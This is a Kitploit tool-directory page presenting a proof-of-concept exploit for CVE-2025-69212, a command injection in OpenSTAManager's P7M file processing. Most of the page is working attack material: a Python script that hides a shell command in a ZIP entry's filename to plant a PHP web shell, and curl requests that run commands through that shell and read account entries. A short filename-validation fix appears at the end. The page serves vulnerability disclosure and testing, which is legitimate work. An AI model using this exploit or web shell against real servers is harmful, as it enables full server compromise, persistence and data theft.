Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
OpenSTA-Exploit — Proof of Concept (PoC) of CVE-2025-69212 related with P7M File Processing | Kitploit
ツール/GitHubGitHub/lolw0/opensta-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHublolw0/opensta-exploit

OpenSTA-Exploit

Proof of Concept (PoC) of CVE-2025-69212 related with P7M File Processing

リポジトリを見る
216日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
要求された言語のコンテンツは利用できません。英語版を表示しています。

OpenSTA-Exploit

image

DataDetail
CVE IDCVE-2025-69212
Vuln Scorecritical (9.4)
CWE78: Improper Neutralization of Special Elements used in an OS Command
Affected VersionsOpenSTAManager <= 2.9.8
Attack vectorupload a ZIP file containing a .p7m file with malicious filename
AuthRequired
Impactexecute arbitrary system commands on the server

Exploit explanation

  1. Stores a shell command in the variable cmd (which does create a file called SHELL.php containing PHP code that can execute commands).
  2. Builds a specially filename hiding the command from cmd variable and saves in malicious_file variable.
  3. Creates a new ZIP file called exploit.zip and opens it for writing.
  4. Adds a file to the ZIP. Its filename is the malicious_file variable.
  5. Malicious filename is injected into the exec() command.

PoC (Proof of Concept)

1. Create zip file to inject

root@kitploit:~
import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Exec file & upload

root@kitploit:~
lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
image

image

3. Exploit result

XML parsing fails after command execution

root@kitploit:~
HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. Verification & remote code execution

root@kitploit:~
lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin



Leads to...


Fix

**a simple fix is to validate filenames before processing (Only allow alphanumeric, dots, dashes and underscores to skip invalid filenames)

root@kitploit:~
foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(or you can simply update lol)

ツールをダウンロード
AttackDetail
Remote Code ExecutionFull server compromise with command execution
Data ExfiltrationAccess to all application data and database
Privilege EscalationPotential escalation if web server runs with elevated privileges or is vulnerable
PersistenceInstall backdoors and maintain access in time
Lateral MovementPivot to other systems/users on the network